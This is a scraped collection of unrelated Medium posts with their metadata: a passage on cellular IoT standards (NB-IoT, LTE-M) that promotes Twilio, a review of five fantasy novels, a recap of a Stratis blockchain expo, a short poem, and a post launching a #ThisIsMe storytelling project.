Can operate across the existing cellular infrastructure
Scalability for deploying new IoT solutions
Unlicensed vs. licensed spectrum. Wide Area Networks can use licensed or unlicensed radiofrequency spectrum. Many cellular network operators, already own licensed spectrum that can be ‘refarmed’ for use in IoT.
When looking at cellular LPWAN for your project, their area number of options
There are two leading cellular LPWAN technologies: Long Term Evolution for Machines (LTE M) and Narrow band IoT (NB-IoT)
LTE Cat-0: Eliminates the features that supported high data rate requirements for Cat-1 and are expected to replace 2G in the future.
NB-IoT: A standard adopted by over 20 cellular operators around the world, NB-IoT features all of the safeguards and security associated with operating in a licensed spectrum. This is fuelled by fast-growing demand in China where NBIoT is set to replace 2G in mass-market applications as the country’s preferred LPWAN technology. In fact, NB-IoT device shipments worldwide will reach 613.2 million units by 2023. NB-IoT is a good choice for applications that don’t need frequent communication or high data throughput.
LTE M: LTE M (or LTE Cat-M1) relies on legacy networks and can be considered low power because maximum system bandwidth is capped at 1.4 MHz. LTE M targets LPWAN applications where only a small amount of data transfer is required. LTE M supports half-duplex mode (the same as NB IoT), which allows data to travel in only one direction at a time. The advantage of half-duplex mode is that it requires less power for situations where there is no need to both send and receive at the same time. Cat-M1 has a slightly higher data rate than NBIoT, so it can be used for applications such as wearables, security cameras, and automotive use cases. Unlike NB-IoT, Cat-M1 can be configured for low latency communication for use cases where data must be transmitted immediately.
Your Connectivity Provider for IoT
For the majority, the IoT is not a point solution. You’ll need to work with many organizations and vendors to stitch together a coherent end-to-end system. As part of your Wide Area IoT project, you will need to deal with a connectivity provider, and that’s where Twilio’s APIs can make building solutions easy.
Twilio Programmable Wireless is the connectivity provider for IoT. With Twilio Programmable Wireless, devices can be connected to the internet quickly and Twilio’s API-first approach means all aspects of SIM management are fully automated: | https://medium.com/@pupuweb/playbook-for-cellular-iot-connectivity-c3ac7fdaa04e | ['Alex Lim'] | 2020-12-05 05:32:26.953000+00:00 | ['Connection', 'IoT', 'Internet of Things', 'Technology', 'Networking'] |
2020 End of Year Book Review: 5 Books Tiktok Made Me Buy | 1. Serpent & Dove
Rating:★★★/5
Spiciness:★★/5
I was drawn to this book because I love anything fantasy related and I am a sucker for romance and enemies-to-lovers troupe, but it was the cover that drew me in.
This book was marketed (on tiktok) as a spicy and dark book that left you in love with the characters and yearning for the second book.
While I overall loved the story line it was not my favorite book that I have read this year. I got my fill of enemies-to-lovers troupe and it was just enough darkness to have me pausing when I read (with a really good twist) but it was not as spicy as I would have liked it. I also did not feel the need to pick up the second book. One thing to know about me is that I am really impulsive so it takes some suspense and maybe some cliffhangers to keep me going but this book was not it for me.
Overall, I would recommend it but it is on the tamer side.
Below is the synopsis and where you can purchase it:
Two years ago, Louise le Blanc fled her coven and took shelter in the city of Cesarine, forsaking all magic and living off whatever she could steal. There, witches like Lou are hunted. They are feared. And they are burned.
As a huntsman of the Church, Reid Diggory has lived his life by one principle: Thou shalt not suffer a witch to live. But when Lou pulls a wicked stunt, the two are forced into an impossible situation — marriage.
Lou, unable to ignore her growing feelings, yet powerless to change what she is, must make a choice. And love makes fools of us all.
2. The Folk of the Air Series
Rating:★★★★/5
Spiciness:★/5
So while this one was more Ya than I was used to, I actually really loved this series. This was another one that was hypes up on tiktok so when I dove into this series I knew what I was expecting but the level of detail in this series was what kept me reading.
I loved how in all of the books there was always reference to the last and even among the twists and turns of the series you could always find small clues that led up to these events. Don’t even get be started on the second book’s cliffhanger.
Below is the synopsis and where you can purchase it:
This was was also a bit darker but the faeries in here seemed more in character and aligned more with superstitions than the other books do. As a writer myself I tend to take this book as an example when planning my own novels.
Of course I want to be like them. They’re beautiful as blades forged in some divine fire. They will live forever.
And Cardan is even more beautiful than the rest. I hate him more than all the others. I hate him so much that sometimes when I look at him, I can hardly breathe.
Jude was seven years old when her parents were murdered and she and her two sisters were stolen away to live in the treacherous High Court of Faerie. Ten years later, Jude wants nothing more than to belong there, despite her mortality. But many of the fey despise humans. Especially Prince Cardan, the youngest and wickedest son of the High King.
To win a place at the Court, she must defy him — and face the consequences.
In doing so, she becomes embroiled in palace intrigues and deceptions, discovering her own capacity for bloodshed. But as civil war threatens to drown the Courts of Faerie in violence, Jude will need to risk her life in a dangerous alliance to save her sisters, and Faerie itself.
From #1 New York Times bestselling author Holly Black comes the stunning The Folk of the Air trilogy filled with twists and enchantment, as one girl learns the meaning of true power when she finds herself caught in a web of royal faerie intrigue.
3. The Dark Tide
Rating:★★★★/5
Spiciness:-/5
This book had a small amount of LGBTQ+ representation which it what drew me to it in the first place but what kept me reading was the great world building.
All the sudden you are thrust into this world that is so dark yet shows how normal people would try to live their life through it.
This book was beautifully written and was actually the one that got me over my reading hump after all these years. I keep this one close to my desk just because when I look at it I am reminded of how much I loved the world building in it.
Below is the synopsis and where you can purchase it:
Every year on St. Walpurga’s Eve, Caldella’s Witch Queen lures a boy back to her palace. An innocent life to be sacrificed on the full moon to keep the island city from sinking.
Convinced her handsome brother is going to be taken this year, Lina Kirk enlists the help of the mysterious Thomas Lin, her secret crush, and the only boy to ever escape from the palace after winning the love of a queen. Working together they protect her brother but draw the queen’s attention.
Queen Eva cast away her heart when her sister died to save the boy she loved. Now as queen, she won’t make the same mistake. With the tide rising higher than ever before and the islander’s whispering that Eva’s magic is failing, she’s willing to sacrifice anyone if it means saving herself and her city.
When Thomas is chosen as sacrifice, Lina takes his place and the two girls are forced to spend time together as they wait for the full moon. But Lina is not at all what Eva expected, and the queen is nothing like Lina envisioned. Against their will, the two girls find themselves falling for each other. As water floods Caldella’s streets and the dark tide demands its sacrifice, they must choose who to save: themselves, each other, or the island city relying on
4. The Invisible Life of Addie LaRue
Rating:★★★★★/5
Spiciness:★★★/5
I have almost no words to describe how completely beautiful this book is. ALMOST.
If there is one book that you choose to read, choose this one. This book is written like straight poetry and leaves you guessing after each page. I read this all in one sitting and could not stop crying afterwards (not just because it was slightly sad) but because I literally could not believe the ride it took me on.
I tried to reread it but nothing will ever prove as great as the first time that you read it. I fell in-love with every character in there (even the bad one) and it was the only book that made me wish that I did not get the ending that I so desperately wanted. Right after I read this book I recommended it to literally every single person I knew.
The great thing about this is it has real LGBTQ+ representation but literally this book is so heart breaking yet so lovable that I can’ get it out of my mind.
Below is the synopsis and where you can purchase it:
A Life No One Will Remember. A Story You Will Never Forget.
France, 1714: in a moment of desperation, a young woman makes a Faustian bargain to live forever — and is cursed to be forgotten by everyone she meets.
Thus begins the extraordinary life of Addie LaRue, and a dazzling adventure that will play out across centuries and continents, across history and art, as a young woman learns how far she will go to leave her mark on the world.
But everything changes when, after nearly 300 years, Addie stumbles across a young man in a hidden bookstore and he remembers her name.
5. The Shadows Between Us
Rating:★★★★/5
Spiciness:★★/5
This is one badass female if there ever was one. From the start, literally the first sentence, she talks about how she had killed her previous boyfriend.
This is also another one of the troupe that I absolutely love, I came to kill you but slowly fell in love with you.
While this world may have not been as elaborate as the others on this list it gave you just a touch of what you needed to keep the fantasy alive. AND this one had a huge twist at the end that I didn’t see coming at all.
For anyone looking for a badass female leave that literally doesn’t give a shit about anyone… this is your book. I found myself begging for her to let him go but she is one strong willed boss lady.
Below is the synopsis and where you can purchase it:
1) Woo the Shadow King.
2) Marry him.
3) Kill him and take his kingdom for herself.
No one knows the extent of the freshly crowned Shadow King’s power. Some say he can command the shadows that swirl around him to do his bidding. Others say they speak to him, whispering the thoughts of his enemies. Regardless, Alessandra knows what she deserves, and she’s going to do everything within her power to get it.
But Alessandra’s not the only one trying to kill the king. As attempts on his life are made, she finds herself trying to keep him alive long enough for him to make her his queen — all while struggling not to lose her heart. After all, who better for a Shadow King than a cunning, villainous queen? | https://medium.com/@elissamae/2020-end-of-year-book-review-5-books-tiktok-made-me-buy-e9aab467959 | ['Elissa Mae'] | 2020-12-26 22:56:33.157000+00:00 | ['Book Recommendations', 'Books', 'Books And Authors', 'Book Review', 'Writing'] |
Recap Of The London Blockchain Expo 2019 | Day 2 Of The Blockchain Expo, 26 April 2019
As with any expo, the second day is always less crowded than the first. Even though it was less crowded, Stratis still had a lot of people coming over to their booth. This day there were no presentations so Stratis focused their efforts at the people coming by the booth. While it was a little less crowded, the Stratis team had opportunity to have longer conversations with interested people.
I talked with Ian Frew who is in charge of the sales at Stratis and he told me that in his opinion the expo was a great success, he has lots of leads to follow up on the next coming months.
I also had the privilege to talk with Chris about a lot of the things we have been discussing in the Stratis Discord with our community. He took the time to listen to all of my suggestions and gave his insight on the matter. As this was a private conversation between me and Chris, I am not able to share the details of the conversation. Just know that he listened to the feedback and let’s hope we will see some actions in the future regarding them.
Feelings Looking Back At The Expo
First of all: JOY! The moment I saw Pieterjan and Pharaoh after I checked in at the hotel was insane. It’s weird to describe it, we often talk on Discord and work together but the times we saw each other in real life can be counted on one hand. The moment you see them again and you hug it out, is a remarkable thing. It makes you feel humble that you can have friends across the globe, not seeing each other for a year and start where you left when you see each other again. One of the beautiful things of crypto, you can have family all across the world!
I spent the majority of the time with Pieterjan and Pharaoh, hence why I started with them. Obviously, they weren’t the only community members I hung around with and was happy to see again. I had a great time hanging out with Acetmesis, Zomertje, Neurosploit, Apro and Hubbie. I also want to thank the community members that just dropped by the booth or spend lunch with us. It’s remarkable to meet you guys and hear your stories!
And last but not least the team! People that came from across all the globe, Kevin came from South-Africa and Rowan from Australia. It was good to see Chris, Krushang, Dan and Pieterjan as the oldest team members and still seeing them being passionate about Stratis. It was also great to see all the newer team members and talk with them.
My motto remains: One goal, one team and one mission.
Conclusion
The conference was the largest so far, with over 12,000 delegates joining together for the co-located Blockchain, IoT Tech and AI Expo.
With Stratis being the highest ranked sponsor, you could see their name everywhere. I hope a lot of new people will look into Stratis based on the expo. I saw first-hand how many newer people and businesses were interested by the constant activity at the booth, as well as at Paul and Rowan their presentations. It was a great move by Stratis to have such a massive presence at the Expo. I look forward to seeing what all this new exposure will bring to Stratis in the future.
I felt satisfied because I had the opportunity to talk with Chris about things that in my and the community their opinion could be improved. It was refreshing to hear his take on all of this. As you know Stratis is focused on enterprises, which you could see at the expo. Stratis came across as a professional business who is trying to attract enterprises as clients. Stratis isn’t a crypto start-up anymore, it’s a legitimate business trying to bring in revenue to their BaaS model. I think for many of us, including myself and the team, the transition from a crypto start-up to a professional business focused on enterprises was a tough one and still is.
This doesn’t mean Stratis stopped focusing on the crypto space. It means Stratis takes a different approach than many of the crypto projects out there. Most of the crypto projects out there market themselves like kings but don’t have anything to show for when it comes to that point. Stratis is taking the approach the other way around, Stratis has the goods to show but they focus on building out their platform and trying to bring in new clients. The fact that Stratis has more to offer than 90–95% of the projects out there, but hasn’t shown that means Stratis has a lot of room to grow.
We are in a better spot than many other crypto projects which only have marketing and no actual development. This leads to a short-term price increase, however in the long-term it probably results in the project going bankrupt. The fact that Stratis only raised $ 600,000 and always had to budget accordingly puts us in a great spot. According to Chris, we have around three years of runway left based on the current $STRAT price, imagine when we increase in price again and bring in more revenue.
I would say we are undervalued, undervalued in terms of price and people knowing about us. I tried to explain to Chris that you can have it both ways, it seems like not shouting things of the rooftops is a UK mentality. Based on everything Stratis has achieved so far and what’s in the pipelines in my opinion it’s okay to showcase more of that and that they should. I hope I got that message across the team and that we see them being more visible in the crypto space.
There is lots of work to do, but we are in a great spot! In the bear-market Stratis kept building their platform and kept improving their business. We have years of funds left and everything is in place to make Stratis a company that will last for decades. I guess that’s the thing in crypto, in crypto people expect to keep on going fast and take opportunities as much as they can without thinking about the long-term goals of the project. Stratis is focused on the long term and has set up their business with that in mind, it plans to be here in ten years and even after that.
That’s it for now. All the best to everyone!
Khilone
Follow me on Twitter to get all the news right away: https://twitter.com/Khil0ne
And be sure to read all my stories on Medium over here:
https://medium.com/khilone
Other things to keep your eyes on: | https://medium.com/khilone/recap-of-the-london-blockchain-expo-2019-94bc5d33f1e2 | [] | 2019-05-02 15:34:10.994000+00:00 | ['Stratiscommunity', 'Blockchain', 'Stratis', 'Bitcoin', 'Cryptocurrency'] |
Does it? | When you close your eyes,
Does it seize to exist?
When it seizes to exist,
Does it make things better?
When things are better,
Does it feel normal?
When it feels normal,
Does it seem right?
When things are right,
Does it ever go wrong?
When things go wrong,
Do you speak your mind?
When you speak your mind,
Does it matter?
When it matters,
Does it hurt?
When it hurts,
Do you close your eyes? | https://medium.com/pensieve-by-philosophical-junkies/does-it-c997a9933fd0 | [] | 2020-12-21 05:57:06.179000+00:00 | ['Introspection', 'Consciousness', 'Happiness', 'Life'] |
#ThisIsMe: A Million Voices Project to Humanize Humanity. Tell Your Story to End the Dehumanization, Prejudice, Discrimination, and Biases. | #ThisIsMe: A Million Voices Project to Humanize Humanity. Tell Your Story to End the Dehumanization, Prejudice, Discrimination, and Biases.
Empathy brings equality. Trust and love bring empathy. Stories build trust and spread love. Let’s tell our stories.
It is a dark time in America. 2020 has shown that we still have a lot of progress to bring. We’re still so behind that many of us don’t even understand equality.
This post is not about equality or the lack of it. That is another post for another time. I’ve written about equality before and I’ll write about it again.
This post is about the Million Voices Project.
#ThisIsMe is a project to bring a million voices together to show that we are all human, albeit with different backgrounds and stories.
At Rizzle, we are creating a playlist to make these stories accessible worldwide. Whether you are already part of the Rizzle community or not, we invite you to add your voice and tell your story.
With social media echo chambers, we’ve lost track of the broader world and the life experiences of people. It’s time to bring it back. It’s time to share our stories.
Everyone has a life story worth telling. It is important to talk about who we are so that we understand each other better.
Understanding each other is the first step towards empathy. And empathy is the first step towards equality.
Capitalism (also a topic for another post another time) has led us to believe that sympathy is a sufficient substitute for empathy. But it’s not, for equality stems from empathy.
America was built on the premise of inclusion and acceptance. But we lost our way. We can bring it back.
To bring it back, we need to start building empathy again. We can start by telling our stories and humanizing humanity all over again.
Let’s do it for our children. Let’s fight this battle now so our children don’t have to. Let’s tell our stories so our children can love each other. | https://medium.com/rizzle/thisisme-a-million-voices-project-to-humanize-humanity-d70c07efe25b | ['Vidya Narayanan'] | 2020-06-11 01:08:27.739000+00:00 | ['Social Media', 'Human Rights', 'Humanity', 'Social Justice', 'Democracy'] |
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